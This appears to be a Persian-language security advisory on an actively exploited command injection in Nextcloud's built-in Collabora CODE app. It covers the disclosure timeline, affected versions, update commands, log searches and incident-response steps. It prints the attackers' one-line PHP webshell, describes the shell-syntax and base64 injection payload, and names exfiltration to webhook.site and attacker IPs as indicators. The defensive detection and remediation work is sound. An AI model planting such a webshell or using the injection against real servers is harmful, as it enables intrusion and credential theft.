روز ۲۳ اکتبر ۲۰۲۶ آژانس CISA آمریکا آسیبپذیری CVE-2026-110447 را به فهرست آسیبپذیریهای در حال سوءاستفاده (KEV) اضافه کرد و به سازمانهای فدرال تا ۲۶ اکتبر مهلت داد. مشکل در اپ Collabora Online - Built-in CODE Server است، اپ نکستکلادی با نام بستهٔ richdocumentscode که یک نسخهٔ داخلی از مجموعهٔ آفیس Collabora را درون خود Nextcloud اجرا میکند تا کاربران بدون سرور سند جداگانه، فایلها را در مرورگر ویرایش کنند. رکورد NVD آن را تزریق فرمان سیستمعامل در proxy.php توصیف میکند که «در سپتامبر و اکتبر ۲۰۲۶ در عمل مورد سوءاستفاده قرار گرفته» و امتیاز CVSS 4.0 آن ۹٫۲ است.
نکتهٔ اصلی ترتیب رویدادهاست. وصله روز ۱۱ سپتامبر منتشر شد. مدیران سرورها اولین حملهٔ موفق را روز ۱۰ سپتامبر در لاگها دیدند. و CVE تا ۱۴ اکتبر وجود نداشت. پس اگر اپ را دیر بهروز کردهاید، یا هنوز نصب است ولی غیرفعالش کردهاید، وصله فقط نیمی از کار است. باید دنبال چیزی هم بگردید که مهاجم جا گذاشته است.
این پنج هفته چطور گذشت
- ۳۱ اوت: نسخهٔ 26.4.302 از
richdocumentscodeطبق صفحهٔ انتشارهای GitHub منتشر میشود. این نسخه و همهٔ نسخههای قبلی آسیبپذیرند. - ۱۰ سپتامبر: مدیری که چند سرور Nextcloud را میزبانی میکند، بعداً خطوطی از لاگ دسترسی منتشر میکند که حملهٔ موفقی را ساعت ۱۹:۵۱ همان شب نشان میدهد (issue شمارهٔ ۳۵۴).
- ۱۱ سپتامبر: نسخهٔ 26.4.303 با وصله منتشر میشود. issue بالا حدود یک ساعت بعد از انتشار باز شد.
- ۳ اکتبر: پستی در انجمن Nextcloud از کاربران built-in CODE میخواهد «هر چه زودتر» بهروزرسانی کنند، با این توضیح که «هیچ هشدار یا CVE منتشر نشده» و برخی کاربران وبشل روی سرورشان پیدا کردهاند.
- ۱۴ اکتبر: شرکت Collabora اطلاعیهٔ GHSA-g3vx-3m76-fghh را منتشر میکند و CVE عمومی میشود.
- ۲۳ اکتبر: CISA آن را در فهرست KEV ثبت میکند. همان روز نسخهٔ 26.4.502 از
richdocumentscodeمنتشر میشود.
چرا CVE اینقدر دیر آمد
شرکت Collabora در پست وبلاگ ۱۵ اکتبر میگوید تیم امنیتش امسال تقریباً به اندازهٔ ده سال گزارش رسیدگی کرده، بسیاری از آنها حاصل ممیزیهای مبتنی بر هوش مصنوعی، و زمان انتشار یک CVE در GitHub «امسال از حدود یک روز به چند هفته رسیده است». یکی از توسعهدهندگان Collabora هم روز ۱۴ سپتامبر در همان issue به همین صف انباشتهٔ اطلاعیههای GitHub اشاره کرد. Collabora میگوید برای کوتاه کردن این فاصله درخواست داده که خودش مرجع صدور CVE (CNA) شود.
این مورد استثنا نیست. پروژهٔ Patchless Window تعداد ۱۸٬۵۹۴ CVE متنباز را از ژانویه تا اوت ۲۰۲۶ بررسی کرده و میانهٔ فاصله بین انتشار عمومی کد وصله تا انتشار CVE را در ماه اوت ۳۹ روز گزارش کرده است. اگر وصلهکردن شما به اسکنر آسیبپذیری وابسته است، یعنی بیش از یک ماه وصله عمومی است، مهاجم میتواند diff را بخواند و ابزار شما چیزی نشان نمیدهد. نظر ما: برای هر چیزی که رو به اینترنت است، بهروزرسانی اپها را همان زمان انتشار نصب کنید و CVE را تأییدیهای دیرهنگام بدانید.
آیا شما در معرض خطر هستید؟
اگر richdocumentscode با نسخهٔ پایینتر از 26.4.303 روی Nextcloud نصب است و سرور از بیرون در دسترس است، در معرض خطرید. اطلاعیه چند جزئیات دارد که پاسخ را در استقرارهای واقعی تغییر میدهد:
- غیرفعال یعنی امن نیست. اطلاعیه میگوید غیرفعال کردن اپ کافی نیست و باید به 26.4.303 یا بالاتر ارتقا یابد یا حذف شود. یک مدیر سرور روز ۳۰ اکتبر تأیید کرد که حمله روی اپ غیرفعال هم جواب داده است.
- با هر ریاستارت پنجره باز میشود. تزریق فقط وقتی کار میکند که سرور built-in CODE در حال اجرا نباشد: بعد از ریاستارت کانتینر، ارتقا یا کرش. این محدود به نظر میرسد تا وقتی بشمارید یک سرور Nextcloud چند بار ریبوت یا ارتقا میشود.
- سرورهای جداگانهٔ Collabora مشکلی ندارند. Collabora Online مستقل آسیبپذیر نیست. وبلاگ Collabora ایمیجهای Docker، بستههای RPM/DEB و ایمیجهای Nextcloud All-in-One را هم خارج از خطر اعلام کرده است. اگر Nextcloud Office را به کانتینر Collabora خودتان وصل کردهاید و
richdocumentscodeنصب نیست، این باگ شامل شما نمیشود. - نسخههای قدیمی Nextcloud. نسخهٔ ۲۹ و قدیمیتر به پایان پشتیبانی رسیدهاند و اطلاعیه میگوید Nextcloud را ارتقا دهید یا اپ را حذف کنید.
- با باگ سال گذشته فرق دارد. این همان CVE-2025-66208 نیست و وصلهٔ آن جلوی این یکی را نمیگیرد.
روی سرورهای ARM، فروشگاه اپ یک بستهٔ جدا به نام richdocumentscode_arm64 دارد. اطلاعیه فقط از richdocumentscode نام برده است، پس اگر ARM دارید آن پوشه را هم بررسی و بهروز نگه دارید.
بررسی و رفع در دو دقیقه
این دستورها را در پوشهٔ Nextcloud و با کاربر وبسرور اجرا کنید (مسیر و کاربر را با نصب خودتان تطبیق دهید):
cd /var/www/nextcloud
sudo -u www-data php occ app:list | grep richdocumentscode
# Docker image installs
docker exec -u www-data <nextcloud-container> php occ app:list | grep richdocumentscode
دستور app:list هم اپهای فعال و هم غیرفعال را با نسخه نشان میدهد. هر چیزی زیر 26.4.303 همین حالا اقدام لازم دارد:
sudo -u www-data php occ app:update richdocumentscode
# or, if nobody edits documents in the browser:
sudo -u www-data php occ app:remove richdocumentscode
اگر میتوانید به 26.4.502 بروید. طبق گفتهٔ یکی از نگهدارندگان Collabora در همان issue، این نسخه وقتی اپ غیرفعال شود فرایند CODE داخلی را هم متوقف میکند.
دنبال نشانههای نفوذ بگردید
اگر اپ در هر زمانی بعد از ۱۰ سپتامبر پایینتر از 26.4.303 بوده، فرض کنید باید بررسی کنید. بهروزرسانی چیزی را که مهاجم قبلاً نوشته پاک نمیکند.
۱. لاگهای دسترسی. درخواستهایی که در issue شمارهٔ ۳۵۴ منتشر شده مسیر /apps/richdocumentscode/proxy.php?status را هدف میگیرند و درون مسیر، نحو شل دارند: $(، ${IFS} و یک رشتهٔ base64 که به sh داده میشود، گاهی همراه با %2e%2e برای بالا رفتن از پوشهها. یک جستوجوی سریع، با لاگهای چرخشخورده:
zgrep -h 'richdocumentscode/proxy.php' /var/log/nginx/access.log* /var/log/apache2/access.log* 2>/dev/null \
| grep -E '\$\(|%24%28|IFS|base64'
آدرسهای مبدأ گزارششده در آن رشته 139.28.18.122 در ۱۰ و ۱۱ سپتامبر و 89.38.98.50 در ۱۴ سپتامبر بودند. اینها را نمونه بدانید، نه فهرست مسدودسازی. اگر لاگهای شما فقط چهار هفته عقب میروند، اولین حملهها دیگر در دسترس نیستند و بهتر است این را در یادداشتهای حادثه ثبت کنید.
۲. وبشلها. رمزگشایی payload منتشرشده در issue یک فایل PHP یکخطی میدهد که هر فرمانی را در پارامتر c بیاید اجرا میکند: <?php $c=$_GET['c']??'id'; echo shell_exec($c.' 2>&1');. نام فایل در هر درخواست عوض میشود. نمونههای گزارششده: shrf4645.php و shxa35d0.php در issue شمارهٔ ۳۵۴، shx13a86.php در یک کامنت بعدی و Nx_33143.php درون apps/richdocumentscode/ در انجمن Nextcloud. دو نفر از این مدیران فایل را به این دلیل پیدا کردند که بررسی یکپارچگی Nextcloud بعد از ارتقا یک فایل اضافه را گزارش داد، پس از همانجا شروع کنید:
sudo -u www-data php occ integrity:check-app richdocumentscode
sudo -u www-data php occ integrity:check-core
grep -rlF 'shell_exec($c' /var/www/nextcloud --include='*.php'
find /var/www/nextcloud -type f \( -name 'sh*.php' -o -name 'Nx_*.php' \) -newermt 2026-09-01
خروجی find فهرستی برای بازبینی است، نه حکم نهایی. ارتقای Nextcloud بعد از ۱ سپتامبر فایلهای سالم را هم بازنویسی میکند، پس هر چه پیدا شد را قبل از حذف باز کنید و ببینید.
۳. تماسهای خروجی. payloadهای رمزگشاییشده خروجی uname -a را با curl یا wget به webhook.site میفرستند. لاگهای DNS، پراکسی یا فایروال را برای این دامنه از سمت سرور Nextcloud جستوجو کنید.
۴. فرایندها و ماندگاری. دستور ps -u www-data -o pid,lstart,args را اجرا کنید و دنبال فرایندهای فرزند sh، curl یا wget بگردید، بعد با crontab -u www-data -l ورودیهایی را که خودتان اضافه نکردهاید پیدا کنید. یکی از توسعهدهندگان Collabora گفته برخی خطوط باقیمانده در لیست فرایندها ترسناک به نظر میرسند ولی «قاعدتاً باید بیخطر باشند». با این حال بررسیشان کنید.
اگر وبشل پیدا کردید
شل با کاربر وبسرور اجرا میشود. در یک نصب معمولی این کاربر میتواند config/config.php را بخواند که رمز پایگاه داده، secret نمونه، رمز SMTP که Nextcloud برای ایمیلهای اعلان استفاده میکند و کلیدهای object storage در آن است. با رمز پایگاه داده به هر چه آنجا ذخیره شده هم میرسد، از جمله تنظیمات اتصال LDAP. پوشهٔ داده، یعنی فایلهای همهٔ کاربران، هم برایش خواناست. BleepingComputer گزارش داد مدیران دیدهاند مهاجمان دنبال پایگاههای رمز، فایلهای مدیر رمز عبور و کیف پولهای رمزارز گشتهاند. یک کامنتگذار هم گفت گروههای باجافزاری شروع به استفاده از این باگ کردهاند، که BleepingComputer نتوانست تأییدش کند.
ترتیب منطقی کار:
- قبل از حذف هر چیزی از لاگها و فایلهای وبشل کپی بگیرید، بعد سرور را در حالت نگهداری بگذارید (
occ maintenance:mode --on) یا در فایروال قطعش کنید. - شلها را حذف کنید، اپ را بهروز یا حذف کنید و هر دو بررسی یکپارچگی را تا وقتی نتیجهٔ تمیز بدهند دوباره اجرا کنید.
- همهٔ اعتبارنامههای داخل
config.phpرا عوض کنید: کاربر پایگاه داده، SMTP، اتصال LDAP، کلیدهای S3 یا Swift و توکنهای API هر سرویسی که Nextcloud با آن حرف میزند. اگر کاربران از اپ Nextcloud Mail استفاده میکنند، رمز صندوقهای پستی ذخیرهشده با کلیدی از همین فایل رمز شدهاند، پس از آنها بخواهید رمزشان را روی سرور ایمیل عوض کنند. - گروه ادمین (
occ group:list) را برای حسابهای ناشناخته بررسی کنید و app passwordها را مرور کنید. - اگر چیزی فراتر از خود فایل شل پیدا کردید، مثل تغییر بیرون از
apps/، کرونجاب جدید یا فایل اجرایی ناشناخته، بهجای پاکسازی درجا، سرور را از یک ایمیج تمیز بسازید و داده را از نسخهٔ پشتیبان قبل از ۱۰ سپتامبر بازگردانید.
این همان الگویی است که بعد از آسیبپذیریهای روز صفر Citrix NetScaler توضیح دادیم: وصله در را میبندد، اما برای کلیدهایی که وقتی در باز بود کپی شدهاند کاری نمیکند.
بعد از این چه چیزی را عوض میکنیم
اپ built-in CODE برای راحتی ساخته شده است. به یک اسکریپت PHP درون Nextcloud اجازه میدهد یک AppImage را دانلود و اجرا کند، و تزریق دقیقاً در همین راحتی بود. برای یک نصب سازمانی، ما Collabora را در کانتینر جداگانه پشت reverse proxy اجرا میکنیم و Nextcloud Office را به آن وصل میکنیم، چیدمانی که Collabora آن را خارج از خطر اعلام کرده است. بهجز این:
- اپهایی را که استفاده نمیکنید حذف کنید، نه غیرفعال. این باگ روشنترین دلیل امسال برای این قاعده است.
- دستور
occ app:update --allرا هفتگی زمانبندی کنید. وصلهٔ اپها جدا از نسخههای Nextcloud منتشر میشود، همانطور که این یکی شد. - زمان اجرای PHP را هم زیر نظر داشته باشید. Nextcloud یک برنامهٔ PHP است، پس وصلههای PHP2Shell ماه گذشته شامل آن هم میشود.
- WAF در لبه کمک میکند. یک مدیر گزارش داد که قواعد امتیازدهی ناهنجاری ModSecurity این درخواستها را مسدود کرده است. این یک لایهٔ دوم است، نه جایگزین بهروزرسانی.
اگر کنار Nextcloud سرور ایمیل خودتان را هم اجرا میکنید، راهنمای بررسی نفوذ Zimbra همین نوع جستوجو را برای سرور ایمیل قدمبهقدم توضیح میدهد.
پرسشهای متداول
کدام نسخهٔ Built-in CODE Server در Nextcloud آسیبپذیری CVE-2026-110447 را رفع میکند؟
نسخهٔ 26.4.303 از Collabora Online - Built-in CODE Server (richdocumentscode) که ۱۱ سپتامبر ۲۰۲۶ منتشر شد آن را رفع میکند. نسخهٔ 26.4.502 از ۲۳ اکتبر ۲۰۲۶ جدیدتر است و وقتی اپ غیرفعال شود فرایند CODE داخلی را هم متوقف میکند.
آیا اپ richdocumentscode غیرفعال هم آسیبپذیر است؟
بله. اطلاعیهٔ Collabora میگوید غیرفعال کردن کافی نیست. اپ باید به 26.4.303 یا بالاتر ارتقا یابد یا با دستور occ app:remove richdocumentscode حذف شود.
آیا CVE-2026-110447 روی سرور مستقل Collabora Online اثر دارد؟
خیر. به گفتهٔ Collabora، نسخهٔ مستقل Collabora Online، ایمیجهای Docker، بستههای RPM و DEB و ایمیجهای Nextcloud All-in-One آسیبپذیر نیستند. فقط نصبهای Nextcloud که اپ richdocumentscode دارند در خطرند.
از کجا بفهمم سرور Nextcloud من از این راه نفوذ شده است؟
لاگهای وبسرور از ۱۰ سپتامبر ۲۰۲۶ به بعد را برای درخواستهای /apps/richdocumentscode/proxy.php که نحو شل دارند بگردید، دستورهای occ integrity:check-app richdocumentscode و occ integrity:check-core را اجرا کنید، دنبال فایلهای PHP غیرمنتظره مثل shx*.php در پوشهٔ apps باشید و لاگهای DNS را برای تماس با webhook.site بررسی کنید.
منابع: اطلاعیهٔ Collabora با شناسهٔ GHSA-g3vx-3m76-fghh، رکورد NVD برای CVE-2026-110447، فهرست KEV آژانس CISA، issue شمارهٔ ۳۵۴ در richdocumentscode، وبلاگ Collabora، ۱۵ اکتبر ۲۰۲۶ و سایر پیوندهای بالا.


